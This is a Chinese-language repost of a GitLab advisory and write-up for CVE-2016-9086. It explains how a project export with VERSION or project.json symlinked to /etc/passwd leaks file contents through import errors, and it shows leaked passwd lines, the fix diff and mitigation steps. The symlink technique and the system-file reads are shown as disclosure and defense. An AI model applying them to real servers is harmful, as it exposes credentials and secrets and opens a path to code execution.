GitLab的文件读取问题导致的RCE漏洞

漏洞概述

GitLab CE/EE的8.9、8.10、8.11、8.12以及8.13版本中存在任意文件读取漏洞,攻击者或可利用这个漏洞来获取应用程序中敏感文件的访问权。在获取到这些机密数据之后,攻击者将可以通过执行恶意命令来访问应用程序服务器

8.9、8.10、8.11和8.12版本中漏洞的CVSS(通用漏洞评分系统)评分为8.4分(CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H)。而8.13版本中相同漏洞的CVSS评分为9.0分,因为在该版本中攻击者完全可以在无需获得管理员权限的情况下利用这个漏洞(CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)。在所有版本的攻击场景中,GitLab实例需要导入并启用GitLab的输出文件功能。

漏洞分析

GitLab的输出上传功能中存在一个漏洞,这个漏洞将允许攻击者读取GitLab实例中的任意文件,这个漏洞主要是由JSON.parse中的错误操作而导致的,因为JSON.parse中有可能会包含或引用GitLab导出文件的符号链接。当我准备开始对这个功能进行分析之前,我创建了一个演示仓库,并且还通过项目的管理员面板导出了这个GitLab实例。当我们创建了一个新的项目之后,我们就可以直接导入这些GitLab文件了。演示站点为https://gitlab.com/projects/new(点击”GitLab导出”)。通常情况下,一个简单的GitLab导出文件一般包含下列文件:

  1. export $ ls -lash 
  2. total 48 
  3.  8 -rw-r--r--@   1 jobert  staff     5B Oct 25 19:52 VERSION 
  4.  8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle 
  5.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json 

当我们再次加载之前导出的GitLab文件时,将会发生以下几件事情。首先,系统会等待文件写入磁盘(针对大型仓库而言);其次,系统会根据VERSION文件来检测导入项目的版本;最后,GitLab会根据project.json文件来创建一个新的Project实例。

这里的第一步其实并不重要,所以我们现在直接来看一看第二步中系统所执行的相关代码(Gitlab::ImportExport::VersionChecker,第12-18行):

  1. def check
  2.   version = File.open(version_file, &:readline) 
  3.   verify_version!(version) 
  4. rescue => e 
  5.   shared.error(e) 
  6.   false 
  7. end 

请各位注意第13行的代码,它将会打开文件并调用readline方法,而这个方法将会返回稳健的第一行数据。第16行代码会捕获系统运行过程中的所有异常,并将异常信息压入errors栈。所有的这些错误都将被发送至前端。接下来,让我们看一看该文件中的第27-31行代码:

  1. if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version) 
  2.   raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}"
  3. else 
  4.   true 
  5. end 

这也就意味着,如果文件版本不正确的话,系统会返回一个异常,异常信息中会包含这份GitLab导出文件的版本信息。我们解压GitLab的导出文件,用一个符号链接替换其中的VERSION文件,然后再重新进行压缩。tar文件的结构如下所示:

  1. export $ ls -lash 
  2.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 VERSION -> /etc/passwd 
  3.  8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle 
  4.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json 

在创建好了新的GitLab导出文件之后(在导出目录中执行tar -czvf test.tar.gz),我们就可以加载这份新的GitLab文件了。加载成功之后,因为文件存在版本错误,所以系统将会抛出一个异常,而GitLab实例将会返回第一行错误信息:

但是,这种方法只能读取某个文件的第一行数据。这的确很有意思,但这肯定不是我们想要的,我们想要读取文件的完整内容。于是我们继续分析,看看是否能找到读取完整文件的方法。正如我之前所提到的,导入过程中的第三步就是创建一个新的Project实例。此时,下列代码将会被执行(Gitlab::ImportExport::ProjectTreeRestorer,第11-22行):

  1. def restore 
  2.   json = IO.read(@path) 
  3.   tree_hash = ActiveSupport::JSON.decode(json) 
  4.   project_members = tree_hash.delete('project_members'
  5.   ActiveRecord::Base.no_touching do 
  6.     create_relations 
  7.   end 
  8. rescue => e 
  9.   shared.error(e) 
  10.   false 
  11. end 

这段代码采用的结构与负责进行版本检测的代码结构非常相似,第13-18行代码可以捕获异常,然后将错误信息压入errors栈。ActiveSupport会使用JSON.parse来解码JSON数据,如果解码失败的话,系统会将待解码的字符串包含在错误信息中一起返回。这也就意味着,如果我们可以让解码器抛出一个异常的话,我们就可以读取稳健的内容了。其实也并不难,先来看看下面给出的这个文件结构:

  1. export $ ls -lash 
  2.  8 -rw-r--r--@   1 jobert  staff    11B Oct 25 20:43 VERSION 
  3.  8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle 
  4.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json -> /etc/passwd 

在这个例子中,project.json文件是一个指向/etc/passwd的符号链接。第14行代码可以调用IO.read方法来读取文件内容。很明显,/etc/passwd文件中并不包含有效的JSON数据。因此,系统肯定会抛出一个异常,而异常信息中将会包含/etc/passwd文件的内容。使用tar来对文件进行压缩,然后准备上传[演示文件下载-test.tar.gz(F130233)]。文件导入成功之后,我们就可以从错误信息中获取链接文件的内容了:

需要声明的是,这并不是我自己的/etc/passwd文件。下面给出的是gitlab.com中/etc/passwd文件的最后五行数据:

  1. alejandro:x:1117:1117::/home/alejandro:/bin/bash 
  2. prometheus:x:999:999::/opt/prometheus:/bin/false 
  3. gitlab-monitor:x:998:998::/opt/gitlab-monitor:/bin/false 
  4. postgres:x:116:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash 
  5. brian:x:1118:1118::/home/brian:/bin/bash 

因此,攻击者同样可以利用这种方法来读取GitLab中Rails项目的机密文件。需要注意的是,这个问题也将导致RCE漏洞。除此之外,攻击者甚至还可以通过这个漏洞拿到GitLab的shell,并访问所有的代码仓库。

附件下载

1. F130233: test.tar.gz

2. F130234: Screen_Shot_2016-10-25_at_20.55.36.png

3. F130235: Screen_Shot_2016-10-25_at_19.28.51.png

漏洞修复情况

下面给出的是我们所采用的漏洞修复代码,感兴趣的用户可以自己动手实现一下:

  1. diff --git a/lib/gitlab/import_export/file_importer.rb b/lib/gitlab/import_export/file_importer.rb 
  2. index 113895b..ffd1711 100644 
  3. --- a/lib/gitlab/import_export/file_importer.rb 
  4. +++ b/lib/gitlab/import_export/file_importer.rb 
  5. @@ -43,6 +43,14 @@ module Gitlab 
  6.          raise Projects::ImportService::Error.new("Unable to decompress #{@archive_file} into #{@shared.export_path}") unless result 
  7. +        remove_symlinks! 
  8. +      end 
  9. +      def remove_symlinks! 
  10. +        Dir["#{@shared.export_path}/**/*"].each do |path| 
  11. +          FileUtils.rm(path) if File.lstat(path).symlink? 
  12. +        end 
  13.          true 
  14.        end 
  15.      end 
  16. diff --git a/lib/gitlab/import_export/project_tree_restorer.rb b/lib/gitlab/import_export/project_tree_restorer.rb 
  17. index 7cdba88..c551321 100644 
  18. --- a/lib/gitlab/import_export/project_tree_restorer.rb 
  19. +++ b/lib/gitlab/import_export/project_tree_restorer.rb 
  20. @@ -9,8 +9,14 @@ module Gitlab 
  21.        end 
  22.        def restore 
  23. -        json = IO.read(@path) 
  24. -        [@tree_hash](/tree_hash) = ActiveSupport::JSON.decode(json) 
  25. +        begin 
  26. +          json = IO.read(@path) 
  27. +          [@tree_hash](/tree_hash) = ActiveSupport::JSON.decode(json) 
  28. +        rescue => e 
  29. +          Rails.logger.error("Import/Export error: #{e.message}"
  30. +          raise Gitlab::ImportExport::Error.new('Incorrect JSON format'
  31. +        end 
  32.          [@project_members](/project_members) = [@tree_hash](/tree_hash).delete('project_members'
  33.          ActiveRecord::Base.no_touching do 
  34. diff --git a/lib/gitlab/import_export/version_checker.rb b/lib/gitlab/import_export/version_checker.rb 
  35. index fc08082..bd3c3ee 100644 
  36. --- a/lib/gitlab/import_export/version_checker.rb 
  37. +++ b/lib/gitlab/import_export/version_checker.rb 
  38. @@ -24,12 +24,19 @@ module Gitlab 
  39.        end 
  40.        def verify_version!(version) 
  41. -        if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version) 
  42. +        if different_version?(version) 
  43.            raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}"
  44.          else 
  45.            true 
  46.          end 
  47.        end 
  48. +      def different_version?(version) 
  49. +        Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version) 
  50. +      rescue => e 
  51. +        Rails.logger.error("Import/Export error: #{e.message}"
  52. +        raise Gitlab::ImportExport::Error.new('Incorrect VERSION format'
  53. +      end 
  54.      end 
  55.    end 
  56.  end 

我们已经发布了针对该漏洞的修复补丁和安全公告,感兴趣的用户可以访问并了解详情。地址:https://about.gitlab.com/2016/11/02/cve-2016-9086-patches/

我们强烈建议使用了上述版本GitLab的用户尽快安装更新补丁。请注意,GitLab 8.9.x版本目前还没有可用的更新补丁。使用了8.9.0-8.9.11版本的用户虽然没有可用的更新补丁,但是可以通过下面给出的解决方案来缓解这个漏洞的影响。

漏洞缓解方案

禁用项目的导入/导出功能

使用管理员账号登录GitLab,然后执行下列操作:

1. 选择“Admin Area”;

2. 点击“Settings”

3. 在“Import Sources”面板中禁用“GitLab export”选项

4. 点击“保存”

验证操作是否成功:

1. 使用浏览器以普通用户身份登录GitLab;

2. 点击“Projects”;

3. 点击“New Project”

4. 输入项目名称;

5. 确保界面中没有显示“GitLab export”选项

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/124450.html<

(0)
运维的头像运维
上一篇2025-02-23 07:02
下一篇 2025-02-23 07:03

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注